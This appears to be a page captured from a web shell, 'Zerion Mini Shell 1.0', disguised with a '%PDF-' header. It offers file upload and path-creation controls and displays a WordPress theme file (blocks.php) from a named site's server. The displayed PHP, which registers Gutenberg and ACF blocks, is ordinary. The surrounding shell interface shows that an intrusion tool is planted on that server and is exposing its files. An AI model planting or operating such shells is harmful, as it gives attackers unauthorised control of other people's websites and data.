%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/i4insight.eco-n-tech.co.uk/wp-content/themes/lloyd/inc/
Upload File :
Create Path :
Current File : /var/www/i4insight.eco-n-tech.co.uk/wp-content/themes/lloyd/inc/blocks.php

<?php

/** Uses the style.css file on admin view with Gutenberg */

function enqueue_blocks_in_admin() {
	$current_screen = get_current_screen();
    if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {//Check if we're on a Gutenberg Page
    	wp_enqueue_style( 'blocks', get_template_directory_uri() . '/style-editor.css' );
    }
}
add_action( 'admin_enqueue_scripts', 'enqueue_blocks_in_admin' );

/** Add container to default Gutenberg blocks */

add_filter( 'render_block', 'wrap_embed_block', 10, 2 );

function wrap_embed_block( $block_content, $block ) {
    global $post;
    $template_file = get_post_meta( $post->ID, '_wp_page_template', TRUE );
    if($template_file != 'page-text.php') {
        if( null !== $block['blockName'] && strpos($block['blockName'], 'core') !== false && ! empty( $block_content ) && ! ctype_space( $block_content )) {
            $block_content = '<section class="pt-2 pb-2"><div class="container">' . $block_content . '</div></section>';
        }
    }
    return $block_content;
}

/** Registration of custom Gutenberg block category */

function register_layout_category( $categories ) {
	array_unshift($categories, array(
		'slug'  => 'i4-theme',
		'title' => 'i4 Theme'
	));

	return $categories;
}

if ( version_compare( get_bloginfo( 'version' ), '5.8', '>=' ) ) {
	add_filter( 'block_categories_all', 'register_layout_category' );
} else {
	add_filter( 'block_categories', 'register_layout_category' );
}


/** Registration of custom Gutenberg blocks using ACF */

add_action('acf/init', function () {
    // Check function exists.
    if (function_exists('acf_register_block_type')) {

        /**
         * ACF Blocks
         */

        $block_icon = '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
        viewBox="0 0 324.4 324.4" style="enable-background:new 0 0 324.4 324.4;" xml:space="preserve"><rect id="Rectangle_46_00000065792141512553794170000013260022604177012372_" x="58.4" fill="#2373B7" width="56.8" height="52.1"/><rect id="Rectangle_47_00000116230779003026213340000000869036093431281553_" x="58.4" y="76.1" fill="#2373B7" width="56.8" height="187.6"/><path id="Path_45_00000114769963687619609980000015045036097672252826_" fill="#2373B7" d="M239,219.7V61.6h-51.1l-60.4,75.6v61.3
           l55.9-70.1h1.2v91.3h-57.1v43.9h57.1v60.8h54.3v-60.8h37.5v-43.9L239,219.7L239,219.7z"/></svg>';


        $blocks = array(
            'i4-3d-carousel' => 'i4 - 3D Carousel',
            'i4-paragraph' => 'i4 - Paragraph',
            'i4-video' => 'i4 - Video',
            'i4-tile-multiple' => 'i4 - Tile Multiple',
            'i4-summary-overview' => 'i4 - Summary Overview',
            'i4-hero-banner' => 'i4 - Hero Banner',
            'i4-services' => 'i4 - Services',
            'i4-resources' => 'i4 - Resources',
            'i4-resources-filter' => 'i4 - Resources Filter',
            'i4-tile-single' => 'i4 - Tile Single',
            'i4-list' => 'i4 - List',
            'i4-events' => 'i4 - Events',
            'i4-contact-us' => 'i4 - Contact Us',
            'i4-map' => 'i4 - Map',
            'i4-blink-logos' => 'i4 - Blink Logos',
            'i4-team' => 'i4 - Team'
        );

        foreach ($blocks as $id => $title) {
          

            acf_register_block_type([
                'name'              => $id,
                'title'             => __($title),
                'description'       => __(''),
                'render_template'   => 'template-parts/blocks/'.$id.'.php',
                'category'          => 'i4-theme',
                'icon'              => $block_icon,
                'keywords'          => ['block', 'i4', explode(' - ', $title)[1]],
                // 'mode'              => 'edit',
                'example'  => array(
                    'attributes' => array(
                        'mode' => 'preview',
                        'data' => array(
                            'preview_image_title' => get_template_directory_uri() . '/preview-images/'.$id.'.png',
                        )
                    )
                ),
            ]);
        }

    
        

    }
});

Zerion Mini Shell 1.0